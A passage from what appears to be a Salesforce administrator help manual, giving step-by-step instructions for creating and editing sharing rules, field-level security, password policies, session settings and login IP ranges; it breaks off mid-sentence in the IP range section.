Contact sharing rules can be based on the record owner or on other criteria, including record type and certain field values. You can define up to 300 contact sharing rules, including up to 50 criteria-based sharing rules. 1. 2. 3. 4. 5. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created. Click Your Name > Setup > Security Controls > Sharing Settings. In the Contact Sharing Rules related list, click New. Select a rule type. Depending on the rule type you selected, do the following:
Based on record ownerIn the owned by members of line, specify the users whose records will be shared:

select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if your organization has over 200 queues, groups, roles, or territories). Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Advanced Options... to change the default AND relationship between each filter. Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.

604

Security and Sharing

Sharing Rules Overview

6. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down list and a set of users from the second drop-down list or lookup field. 7. Select the sharing access setting for users. Access Setting Read Only Read/Write Description Users can view, but not update, records. Users can view and update records.

8. Click Save.

See Also:
Creating and Editing Groups Sharing Rules Overview Criteria-Based Sharing Rules Overview Entering Filter Criteria

Creating Opportunity Sharing Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create sharing rules: Manage Users

Opportunity sharing rules can be based on the record owner or on other criteria, including record type and certain field values. You can define up to 300 opportunity sharing rules, including up to 50 criteria-based sharing rules. 1. 2. 3. 4. 5. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created. Click Your Name > Setup > Security Controls > Sharing Settings. In the Opportunity Sharing Rules related list, click New. Select a rule type. Depending on the rule type you selected, do the following:
Based on record ownerIn the owned by members of line, specify the users whose records will be shared:

select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if your organization has over 200 queues, groups, roles, or territories). Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Advanced Options... to change the default AND relationship between each filter.

605

Security and Sharing

Sharing Rules Overview

Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.

6. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down list and a set of users from the second drop-down list or lookup field. 7. Select the sharing access setting for users. For owner-based rules or criteria-based rules with ownership as criteria, the Opportunity Access level applies to opportunities owned by the group, role, or territory members, regardless of the associated account. Access Setting Read Only Read/Write Description Users can view, but not update, records. Users can view and update records.

8. Click Save.

See Also:
Creating and Editing Groups Sharing Rules Overview Criteria-Based Sharing Rules Overview Entering Filter Criteria

Creating Case Sharing Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create sharing rules: Manage Users

Case sharing rules can be based on the record owner or on other criteria, including record type and certain field values. You can define up to 300 case sharing rules, including up to 50 criteria-based sharing rules. 1. 2. 3. 4. 5. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created. Click Your Name > Setup > Security Controls > Sharing Settings. In the Case Sharing Rules related list, click New. Select a rule type. Depending on the rule type you selected, do the following:
Based on record ownerIn the owned by members of line, specify the users whose records will be shared:

select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if your organization has over 200 queues, groups, roles, or territories).

606

Security and Sharing

Sharing Rules Overview

Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the

sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Advanced Options... to change the default AND relationship between each filter. Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.

6. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down list and a set of users from the second drop-down list or lookup field. 7. Select the sharing access setting for users. Access Setting Read Only Read/Write Description Users can view, but not update, records. Users can view and update records.

8. Click Save.

See Also:
Creating and Editing Groups Sharing Rules Overview Criteria-Based Sharing Rules Overview Entering Filter Criteria

Creating Campaign Sharing Rules


Available in: Professional Edition for an additional cost, and Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create sharing rules: Manage Users

Campaign sharing rules are based on the record owner. You can define up to 300 campaign sharing rules. 1. 2. 3. 4. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created. Click Your Name > Setup > Security Controls > Sharing Settings. In the Campaign Sharing Rules related list, click New. In the owned by members of line, specify the users whose records will be shared: select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if your organization has over 200 queues, groups, roles, or territories). 5. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down list and a set of users from the second drop-down list or lookup field.

607

Security and Sharing

Sharing Rules Overview

6. Select the sharing access setting for users. Access Setting Read Only Read/Write Full Access Description Users can view, but not update, records. Users can view and update records. Any user in the selected group, role, or territory can view, edit, transfer, delete, and share the record, just like the record's owner. With a Full Access sharing rule, users can also view, edit, delete, and close activities associated with the record if the organization-wide sharing setting for activities is Controlled by Parent.

7. Click Save.

See Also:
Creating and Editing Groups Sharing Rules Overview

Creating Custom Object Sharing Rules


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create sharing rules: Manage Users

Custom object sharing rules can be based on the record owner or on other criteria, including record type and certain field values. You can define up to 300 custom object sharing rules, including up to 50 criteria-based sharing rules. 1. 2. 3. 4. 5. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created. Click Your Name > Setup > Security Controls > Sharing Settings. In the Sharing Rules related list for the custom object, click New. Select a rule type. Depending on the rule type you selected, do the following:
Based on record ownerIn the owned by members of line, specify the users whose records will be shared:

select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if your organization has over 200 queues, groups, roles, or territories). Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Advanced Options... to change the default AND relationship between each filter.

608

Security and Sharing

Sharing Rules Overview

Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.

6. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down list and a set of users from the second drop-down list or lookup field. 7. Select the sharing access setting for users. Access Setting Read Only Read/Write Description Users can view, but not update, records. Users can view and update records.

8. Click Save.

See Also:
Creating and Editing Groups Sharing Rules Overview Criteria-Based Sharing Rules Overview Entering Filter Criteria

Sharing Rule Categories


Account and contact sharing rules are available in: Professional, Enterprise, Unlimited, and Developer Editions Account territory, case, lead, and opportunity, sharing rules are available in: Enterprise, Unlimited, and Developer Editions Campaign sharing rules are available in Professional Edition for an additional cost, and Enterprise, Unlimited, and Developer Editions Custom object sharing rules are available in: Enterprise, Unlimited, Developer, and Database.com Editions. Partner Portals and Customer Portals are not available in Database.com

When you define a sharing rule, you can choose from the following categories in the owned by members of and Share with drop-down lists. Depending on the type of sharing rule and the features enabled for your organization, some categories may not appear. Note: You can't include high-volume portal users in sharing rules because they don't have roles and can't be in public groups.

Category Queues

Description All records owned by the queue, excluding records owned by individual members of the queue. Available only in the owned by members of list.

609

Security and Sharing

Sharing Rules Overview

Category Public Groups

Description All public groups defined by your administrator. If a partner portal or Customer Portal is enabled for your organization, the All Partner Users or All Customer Portal Users group displays. These groups includes all users allowed to access your partner portal or Customer Portal, except for high-volume portal users.

Roles Portal Roles

All roles defined for your organization. This includes all of the users in the specified role. All roles defined for your organization's partner portal or Customer Portal. This includes all users in the specified portal role, except high-volume portal users. A portal role name includes the name of the account that it's associated with, except for person accounts, which include the user Alias.

Roles and Subordinates

All roles defined for your organization. This includes all of the users in the specified role plus all of the users in roles below that role, including partner portal and Customer Portal roles that contain users with a portal license type. Portal roles are only included in this category if a partner portal or Customer Portal is enabled for your organization. The Roles, Internal and Portal Subordinates data set category is only available in your organization after you create at least one role in the role hierarchy.

Portal Roles and Subordinates

All roles defined for your organization's partner portal or Customer Portal. This includes all of the users in the specified portal role plus all of the users below that role in the portal role hierarchy, except for high-volume portal users. A portal role name includes the name of the account that it's associated with, except for person accounts, which include the user Alias.

Roles and Internal Subordinates

All roles defined for your organization. This includes all of the users in the specified role plus all of the users in roles below that role, excluding partner portal and Customer Portal roles. This category only displays if a partner portal or Salesforce Customer Portal is enabled for your organization. The Roles and Internal Subordinates data set category is only available in your organization after you create at least one role in the role hierarchy and enable a portal.

Roles, Internal and Portal Subordinates

All roles defined for your organization. This includes all of the users in the specified role plus all of the users in roles below that role, including partner portal and Customer Portal roles. This category only displays if a partner portal or Salesforce Customer Portal is enabled for your organization. The Roles and Internal Subordinates data set category is only available in your organization after you create at least one role in the role hierarchy and enable a portal.

Territories

All territories defined for your organization.

610

Security and Sharing

Sharing Rules Overview

Category Territories and Subordinates

Description All territories defined for your organization. This includes the specified territory plus all territories below it.

See Also:
Creating and Editing Groups Managing Roles Territory Management Overview Partner Portal Overview Setting Up Your Customer Portal

Editing Lead Sharing Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit sharing rules: Manage Users

For lead sharing rules, you can edit the sharing access settings, but no other settings. 1. Click Your Name > Setup > Security Controls > Sharing Settings. 2. In the Lead Sharing Rules related list, click Edit next to the rule you want to change. 3. Select the sharing access setting for users. Access Setting Read Only Read/Write Description Users can view, but not update, records. Users can view and update records.

4. Click Save.

See Also:
Sharing Rules Overview

Editing Account Sharing Rules

611

Security and Sharing

Sharing Rules Overview

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit sharing rules: Manage Users

For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on other criteria, you can edit the criteria and sharing access settings. 1. Click Your Name > Setup > Security Controls > Sharing Settings. 2. In the Account Sharing Rules related list, click Edit next to the rule you want to change. 3. If you selected a rule that's based on owner, skip to the next step. If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. 4. Select a setting for Default Account, Contract and Asset Access. 5. In the remaining fields, select the access settings for the records associated with the shared accounts. Access Setting Private (available for associated contacts, opportunities, and cases only) Read Only Read/Write Description Users can't view or update records, unless access is granted outside of this sharing rule.

Users can view, but not update, records. Users can view and update records.

Note: Contact Access isn't available if the organization-wide default for contacts is set to Controlled by Parent.

6. Click Save.

See Also:
Sharing Rules Overview Criteria-Based Sharing Rules Overview

Editing Account Territory Sharing Rules

612

Security and Sharing

Sharing Rules Overview

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit sharing rules: Manage Users

For account territory sharing rules, you can edit the sharing access settings, but no other settings. 1. Click Your Name > Setup > Security Controls > Sharing Settings. 2. In the Account Territory Sharing Rules related list, click Edit next to the rule you want to change. 3. Select the sharing access setting for users. Access Setting Private (available for associated contacts, opportunities, and cases only) Read Only Read/Write Description Users can't view or update records, unless access is granted outside of this sharing rule.

Users can view, but not update, records. Users can view and update records.

Note: Contact Access isn't available if the organization-wide default for contacts is set to Controlled by Parent.

4. Click Save.

See Also:
Sharing Rules Overview

Editing Contact Sharing Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit sharing rules: Manage Users

For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on other criteria, you can edit the criteria and sharing access settings.

613

Security and Sharing

Sharing Rules Overview

1. Click Your Name > Setup > Security Controls > Sharing Settings. 2. In the Contact Sharing Rules related list, click Edit next to the rule you want to change. 3. If you selected a rule that's based on owner, skip to the next step. If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. 4. Select the sharing access setting for users. Access Setting Read Only Read/Write Description Users can view, but not update, records. Users can view and update records.

5. Click Save.

See Also:
Sharing Rules Overview Criteria-Based Sharing Rules Overview

Editing Opportunity Sharing Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit sharing rules: Manage Users

For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on other criteria, you can edit the criteria and sharing access settings. 1. Click Your Name > Setup > Security Controls > Sharing Settings. 2. In the Opportunity Sharing Rules related list, click Edit next to the rule you want to change. 3. If you selected a rule that's based on owner, skip to the next step. If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. 4. Select the sharing access setting for users. For owner-based rules or criteria-based rules with ownership as criteria, the Opportunity Access level applies to opportunities owned by the group, role, or territory members, regardless of the associated account.

614

Security and Sharing

Sharing Rules Overview

Access Setting Read Only Read/Write

Description Users can view, but not update, records. Users can view and update records.

5. Click Save.

See Also:
Sharing Rules Overview Criteria-Based Sharing Rules Overview

Editing Case Sharing Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit sharing rules: Manage Users

For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on other criteria, you can edit the criteria and sharing access settings. 1. Click Your Name > Setup > Security Controls > Sharing Settings. 2. In the Case Sharing Rules related list, click Edit next to the rule you want to change. 3. If you selected a rule that's based on owner, skip to the next step. If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. 4. Select the sharing access setting for users. Access Setting Read Only Read/Write Description Users can view, but not update, records. Users can view and update records.

5. Click Save.

See Also:
Sharing Rules Overview Criteria-Based Sharing Rules Overview

615

Security and Sharing

Sharing Rules Overview

Editing Campaign Sharing Rules


Available in: Professional Edition for an additional cost, and Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit sharing rules: Manage Users

For campaign sharing rules, you can edit the sharing access settings, but no other settings. 1. Click Your Name > Setup > Security Controls > Sharing Settings. 2. In the Campaign Sharing Rules related list, click Edit next to the rule you want to change. 3. Select the sharing access setting for users. Access Setting Read Only Read/Write Full Access Description Users can view, but not update, records. Users can view and update records. Any user in the selected group, role, or territory can view, edit, transfer, delete, and share the record, just like the record's owner. With a Full Access sharing rule, users can also view, edit, delete, and close activities associated with the record if the organization-wide sharing setting for activities is Controlled by Parent.

4. Click Save.

See Also:
Sharing Rules Overview

Editing Custom Object Sharing Rules


Available in: Enterprise,, Unlimited, Developer, and Database.com Editions.

User Permissions Needed To edit sharing rules: Manage Users

For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on other criteria, you can edit the criteria and sharing access settings.

616

Security and Sharing

Sharing Rules Overview

1. Click Your Name > Setup > Security Controls > Sharing Settings. 2. In the Sharing Rules related list for the custom object, click Edit next to the rule you want to change. 3. If you selected a rule that's based on owner, skip to the next step. If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. 4. Select the sharing access setting for users. Access Setting Read Only Read/Write Description Users can view, but not update, records. Users can view and update records.

5. Click Save.

See Also:
Sharing Rules Overview Criteria-Based Sharing Rules Overview

Sharing Rule Considerations


Account and contact sharing rules are available in: Professional, Enterprise, Unlimited, and Developer Editions Account territory, case, lead, opportunity, and custom object sharing rules are available in: Enterprise, Unlimited, and Developer Editions Campaign sharing rules are available in Professional Edition for an additional cost, and Enterprise, Unlimited, and Developer Editions Only custom object sharing rules are available in Database.com

Sharing rules allow you to selectively grant data access to defined sets of users. Review the following notes before using sharing rules: You can use sharing rules to grant wider access to data. You cannot restrict access below your organization-wide default levels. Sharing rules apply to all new and existing records that meet the definition of the source data set. Sharing rules apply to both active and inactive users. When you change the access levels for a sharing rule, all existing records are automatically updated to reflect the new access levels. When you delete a sharing rule, the sharing access created by that rule is automatically removed. When you transfer records from one user to another, the sharing rules are reevaluated to add or remove access to the transferred records as necessary.

617

Security and Sharing

Sharing Rules Overview

When you modify which users are in a group, role, or territory, the sharing rules are reevaluated to add or remove access as necessary. Sharing rules automatically grant additional access to related records. For example, opportunity sharing rules give role or group members access to the account associated with the shared opportunity if they do not already have it. Likewise, contact and case sharing rules provide the role or group members with access to the associated account as well. If multiple sharing rules give a user different levels of access to a record, the user gets the most permissive access level. Users in the role hierarchy are automatically granted the same access that users below them in the hierarchy have from a sharing rule, provided that the object is a standard object or the Grant Access Using Hierarchies option is selected. Regardless of sharing rules, users can, at a minimum, view the accounts in their territories. Also, users can be granted access to view and edit the contacts, opportunities, and cases associated with their territories' accounts. Making changes to sharing rules may require changing a large number of records at once. To process these changes efficiently, Salesforce may queue your request and send an email notification when the process has completed. You can create rules to share records between most types of Customer Portal users and Salesforce users. Similarly, you can create sharing rules between Customer Portal users from different accounts as long as they have the Customer Portal Manager user license. However, you can't include high-volume portal users in sharing rules because they don't have roles and can't be in public groups. You can easily convert sharing rules that include Roles, Internal and Portal Subordinates to include Roles and Internal Subordinates instead by using the Convert Portal User Access wizard. Furthermore, you can use this wizard to convert any publicly accessible report, dashboard, and document folders to folders that are accessible by all users except for portal users. Lead sharing rules do not automatically grant access to lead information after leads are converted into account, contact, and opportunity records.

See Also:
Sharing Rules Overview Criteria-Based Sharing Rules Overview About High-Volume Portal Users (Service Cloud Portal Users)

Defer Sharing Calculations Overview


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Note: The defer sharing calculation feature isn't enabled by default. To enable it for your organization, contact salesforce.com. Performing a large number of configuration changes can lead to very long sharing rule evaluations or time outs. To avoid these issues, an administrator can suspend these calculations and resume calculations during an organization's maintenance period. Deferring sharing calculation is ideal if you make a large number of changes to roles, territories, groups, users, portal account ownership, or public groups participating in sharing rules, and want to suspend the automatic sharing calculation to a later time. Deferring sharing calculation is ideal if you make a large number of changes to roles, groups, users, or public groups participating in sharing rules, and want to suspend the automatic sharing calculation to a later time.

618

Security and Sharing

Sharing Rules Overview

Group membership and sharing rule calculation are enabled by default. If You can Suspend, update, and resume group membership calculation. This suspends sharing rule calculation and requires a full recalculation of sharing rules. Suspend, update, and resume sharing rule calculation.

Group membership and sharing rule calculation are enabled

Group membership calculation is enabled and sharing rule calculation is suspended

Suspend, update, and, resume group membership calculation.

Group membership calculation is suspended and sharing rule Suspend, update, resume, and recalculate sharing rule calculation is enabled calculation.

To suspend or resume group membership calculation, see Managing Group Membership Calculations. To suspend, resume, or recalculate sharing rule calculation, see Sharing Rule Recalculation.

See Also:
Managing Group Membership Calculations Recalculating Sharing Rules

Recalculating Sharing Rules


Account and contact sharing rules are available in: Professional, Enterprise, Unlimited, and Developer Editions Account territory, case, lead, and opportunity, sharing rules are available in: Enterprise, Unlimited, and Developer Editions Campaign sharing rules are available in Professional Edition for an additional cost, and Enterprise, Unlimited, and Developer Editions Custom object sharing rules are available in: Enterprise, Unlimited, Developer, and Database.com Editions.

User Permissions Needed To recalculate sharing rules: Manage Users

When you make changes to groups, roles, and territories, sharing rules are usually automatically reevaluated to add or remove access as necessary. Changes could include adding or removing individual users from a group, role, or territory, changing which role a particular role reports to, changing which territory a particular territory is subordinate to, or adding or removing a group from within another group. However, if these changes affect too many records at once, a message appears warning that the sharing rules won't be automatically reevaluated, and you must manually recalculate them. To manually recalculate an object's sharing rules: 1. Click Your Name > Setup > Security Controls > Sharing Settings.

619

Security and Sharing

Sharing Rules Overview

2. In the Sharing Rules related list for the object you want, click Recalculate. When sharing is recalculated, Salesforce also runs all Apex sharing recalculations. Automatic sharing rule calculation is enabled by default. You can defer sharing rule calculation by suspending and resuming at your discretion.

See Also:
Sharing Rules Overview Recalculating Apex Managed Sharing Defer Sharing Calculations Overview Managing Group Membership Calculations

Sharing Rule Recalculation


Account and contact sharing rules are available in: Professional, Enterprise, Unlimited, and Developer Editions Account territory, case, lead, and opportunity, sharing rules are available in: Enterprise, Unlimited, and Developer Editions Campaign sharing rules are available in Professional Edition for an additional cost, and Enterprise, Unlimited, and Developer Editions Custom object sharing rules are available in: Enterprise, Unlimited, Developer, and Database.com Editions.

User Permissions Needed To suspend, resume or recalculate sharing rules: Manage Users

Note: The defer sharing calculation feature isn't enabled by default. To enable it for your organization, contact salesforce.com. To suspend, resume, or recalculate sharing rule calculation: 1. Click Your Name > Setup > Security Controls > Defer Sharing Calculations. 2. In the Sharing Rule Calculations related list, click Suspend. 3. Make changes to sharing rules, roles, territories, or public groups participating in sharing rules. Note: Any changes to sharing rules require a full recalculation.

4. To enable sharing rule calculation, click Resume. 5. To manually recalculate sharing rules, click Recalculate. When sharing is recalculated, Salesforce also runs all Apex sharing recalculations.

620

Security and Sharing

Sharing Rules Overview

Managing Group Membership Calculations


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To defer sharing calculations: Manage Users AND View Setup and Configuration AND Manage Sharing Calculation Deferral To suspend and resume group membership calculation: Manage Users

Note: The defer sharing calculation feature isn't enabled by default. To enable it for your organization, contact salesforce.com. When you make changes to roles, territories, groups, or users, or change ownership of portal accounts, group membership is automatically recalculated to add or remove access as necessary. Changes can include adding or removing a user from a group or changing a role to allow access to different sets of reports. If you are making changes to groups that affect a lot of records, you may want to suspend automatic group membership calculation. To suspend or resume group membership calculation: 1. Click Your Name > Setup > Security Controls > Defer Sharing Calculations. 2. In the Group Membership Calculations related list, click Suspend. Note: If sharing rule calculations are enabled, suspending group membership calculations also suspends sharing rule calculations. Resuming group membership calculations also requires full sharing rule recalculation. You can't join a Chatter group during recalculation because adding a user to a Chatter group affects group membership tables, and group membership tables can't be changed during recalculation. You can join a Chatter group when group membership recalculation is finished. 3. Make your changes to roles, territories, groups, users, or portal account ownership. 4. To enable group membership calculation, click Resume.

See Also:
Defer Sharing Calculations Overview Recalculating Sharing Rules

621

Security and Sharing

Field-Level Security Overview

Field-Level Security Overview


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Field-level security settings let administrators restrict users access to view and edit specific fields in: Detail and edit pages Related lists List views Reports Connect Offline Email and mail merge templates Custom links The partner portal The Salesforce Customer Portal Synchronized data Imported personal data

The fields that users see on detail and edit pages are a combination of page layouts and field-level security settings. The most restrictive field access settings of the two always apply. For example, if a field is required in the page layout and read-only in the field-level security settings, the field-level security overrides the page layout and the field will be read-only for the user. Important: Field-level security doesn't prevent searching on the values in a field. To set up your organization to prevent users from searching and retrieving records that match a value in a field hidden by field-level security, contact salesforce.com Customer Support. You can define field-level security in any of the following ways: For multiple fields on a single permission set or profile For a single field on all profiles

After setting field-level security for users based on their profiles, you can: Create page layouts to organize the fields on detail and edit pages. Tip: Use field-level security as the means to restrict users access to fields; then use page layouts primarily to organize detail and edit pages within tabs. This reduces the number of page layouts for you to maintain. Verify users access to fields by checking the field accessibility grid. Set the fields that display in search results, in lookup dialog search results, and in the key lists on tab home pages.

622

Security and Sharing

Field-Level Security Overview

Note: Roll-up summary and formula fields are always read-only on detail pages and not available on edit pages. They may also be visible to users even though they reference fields that your users cannot see. Universally required fields always display on edit pages regardless of field-level security. The relationship group wizard allows you to create and edit relationship groups regardless of field-level security. For more information on the behaviors of relationship group members, see Relationship Group Considerations on page 2389.

See Also:
Overview of Page Layouts and Field-Level Security Overview of User Permissions and Access Administrator tip sheet: Tips & Hints for Page Layouts and Field-Level Security

Setting Field Permissions in Permission Sets and Profiles


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To set field-level security: Customize Application

1. Click Your Name > Setup > Manage Users, then click Permission Sets or Profiles. 2. Select a permission set or profile. 3. Depending on which interface you're using, do one of the following: Permission sets or enhanced profile user interfaceIn the Find Settings... box, enter the name of the object you want and select it from the list. Click Edit, then scroll to the Field Permissions section. Original profile user interfaceIn the Field-Level Security section, click View next to the object you want to modify, and then click Edit.

4. Specify the field's access level. 5. Click Save.

See Also:
Field-Level Security Overview

Setting Field-Level Security for a Single Field on All Profiles

623

Security and Sharing

Setting Password Policies

Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To set field-level security: Customize Application

1. 2. 3. 4. 5.

Select Your Name > Setup > Customize, click a tab or activity link, and click Fields. Select the field you want to modify. Click Set Field-Level Security. Specify the field's access level. Click Save.

See Also:
Field-Level Security Overview

Setting Password Policies


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To set password policies: Manage Users

For your organizations security, you can set various password and login policies. Note: User passwords cannot exceed 16,000 bytes.

1. Click Your Name > Setup > Security Controls > Password Policies. 2. Customize the password settings. Field
User passwords expire in

Description The length of time until all user passwords expire and must be changed. Users with the Password Never Expires permission are immune from this setting. The default is 90 days. This setting is not available for Self-Service portals, Customer Portals, or partner portals. Save users previous passwords so that they must always reset their password to a new, unique password. Password history

Enforce password history

624

Security and Sharing

Setting Password Policies

Field

Description is not saved until you set this value. The default is 3 passwords remembered. You cannot select the No passwords remembered option unless you select the Never expires option for the User passwords expire in field. This setting is not available for Self-Service portals, Customer Portals, or partner portals.

Minimum password length

The minimum number of characters required for a password. When you set this value, existing users aren't affected until the next time they change their passwords. The default is 8 characters. The restriction on which types of characters must be used in a users password. Must mix alpha and numeric is the default option. This option requires at least one alphabetic character and one number. The users answer to the password hint question is required, and not contained in the password itself. This setting is not available for Self-Service portals, Customer Portals, or partner portals. The number of bad logins allowed by a user before he or she becomes locked out. This setting is not available for Self-Service portals, Customer Portals, or partner portals. The duration of the login lockout. Default is 15 minutes. This setting is not available for Self-Service portals, Customer Portals, or partner portals. Note: If users are locked out, they must wait until the lockout period expires. Alternatively, a user with the Reset User Passwords and Unlock Users permission can unlock them by clicking Your Name > Setup > Manage Users > Users, selecting the user, then clicking Unlock. This button is only available when a user is locked out.

Password complexity requirement

Password question requirement

Maximum invalid login attempts

Lockout effective period

3. Customize the forgotten password and locked account assistance information. Note: This setting is not available for Self-Service portals, Customer Portals, or partner portals.

Field
Message

Description When set, this custom message appears in the Account Lockout email and at the bottom of the Confirm Identity screen for users resetting their passwords. You can customize

625

Security and Sharing

Setting Password Policies

Field

Description it with the name of your internal help desk or a system administrator. For the lockout email, the message only appears for accounts that need an administrator to reset them. Lockouts due to time restrictions get a different system email message.

Help link

If set, this link displays with the text defined in the Message field. In the Account Lockout email, the URL displays just as it is typed into the Help link field, so the user can see where the link takes them. This is a security feature because the user is not within a Salesforce organization. On the Confirm Identity password screen, the Help link URL combines with the text in the Message field to make a clickable link. Security isn't an issue since the user is in a Salesforce organization when changing passwords. Valid protocols: http https mailto:

4. Specify an alternative home page for users with the API Only User permission. After completing user management tasks such as resetting a password, API-only users are redirected to the URL specified here, rather than to the login page. 5. Click Save.

See Also:
Setting Login Restrictions Resetting Passwords Expiring Passwords Administrator setup guide: Security Implementation Guide

Setting Session Security

626

Security and Sharing

Setting Session Security

The Login IP Ranges setting is available in: Personal, Contact Manager, Group, Professional, and Database.com Editions (Valid IP addresses can be set at the profile level for Enterprise, Unlimited, Developer, and Database.com Editions) The Lock sessions to the IP address from which they originated setting is available in: Enterprise, Unlimited, Developer, and Database.com Editions All other settings available in: Personal, Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To set session security: Customize Application

You can modify session security settings to control the session timeout warning and to prevent IP shifting for users that are logged in. 1. Click Your Name > Setup > Security Controls > Session Settings. 2. Customize the session security settings. Field
Timeout value

Description Length of time after which the system prompts users who have been inactive to log out or continue working. Select a value between 30 minutes and 8 hours. Choose a shorter timeout period if your organization has sensitive information and you want to enforce stricter security. Note: The session is not updated until half the time is used. For example, if you set the value for 30 minutes, update a record after 10 minutes, then sit idle, after another 20 minutes the session times out (total of 30 minutes.) If you update a record after 20 minutes, then sit idle, the session won't time out for an additional 30 minutes (total of 50 minutes.)

Disable session timeout warning popup

Determines whether the system prompts users with a timeout warning message after any length of inactivity. Select this option to provide extra security.

Lock sessions to the IP address from which Determines whether user sessions are locked to the IP they originated address from which the user logged in, helping to prevent

unauthorized persons from hijacking a valid session. Selecting this option prevents you from registering any Force.com AppExchange packages, see Registering Apps in the Force.com AppExchange online help. In addition,

627

Security and Sharing

Setting Session Security

Field

Description you cannot use this option with partner relationship management.

Require secure connections (HTTPS)

Determines whether logins and access to Salesforce are required to use HTTPS, apart from Force.com sites, which can still be accessed using HTTP. (To enforce HTTPS for all Force.com sites communication, see Public Access Settings for Force.com Sites on page 1508.) This option is enabled by default, but it can be disabled to allow HTTP connections too. You should require HTTPS connections for enhanced security. Note: The forgotten password page can only be accessed using HTTPS.

Force Relogin After Login-As-User

Determines whether an administrator that is logged in as another user is returned to their previous session after logging out as the secondary user. For more information, see Logging In as Another User on page 481. If the option is checked, an administrator must log in again to continue using Salesforce after logging out as the user; otherwise, the administrator is returned to their original session after logging out as the user.

Enable caching and password autocomplete on Allows the user's browser to store usernames. If enabled, login page after an initial log in, usernames are auto-filled into the User Name field on the login page. This preference is checked by

default. By default, caching and autocomplete is enabled.


Login IP Ranges

Specifies a range of IP addresses. Users must log in from IP addresses within the range (inclusive), or the login will fail, and users will have to activate their computers to successfully log in. To specify a range, click New and enter a lower and upper IP address to define the range. This field is not available in Enterprise, Unlimited, and Developer Editions. In those editions, you can specify valid IP addresses per profile. For more information, see Setting Login Restrictions on page 522.

628

Security and Sharing

Restricting Login IP Ranges for Your Organization

3. Click Save.

See Also:
Administrator setup guide: Security Implementation Guide

Restricting Login IP Ranges for Your Organization


Available in: All Editions

User Permissions Needed To view network access: To change network access: Login Challenge Enabled Manage Users

To help protect your organization's data from unauthorized access, you can specify a list of IP addresses from which users can always log in without receiving a login challenge: 1. Click Your Name > Setup > Security Controls > Network Access. 2. Click New. 3. Enter a valid IP address in the Start IP Address field and a higher IP address in the End IP Address field. The start and end addresses define the range of allowable IP addresses from which users can log in. If you want to allow logins from a single IP address, enter the same address in both fields. For example, to allow logins from only 125.12.3.0, enter 125.12.3.0 as both the start and end addresses. The start and end IP addresses in an IPv4 range must include no more than 33,554,432 addresses (225, a /7 CIDR block). For example, the following ranges are valid:
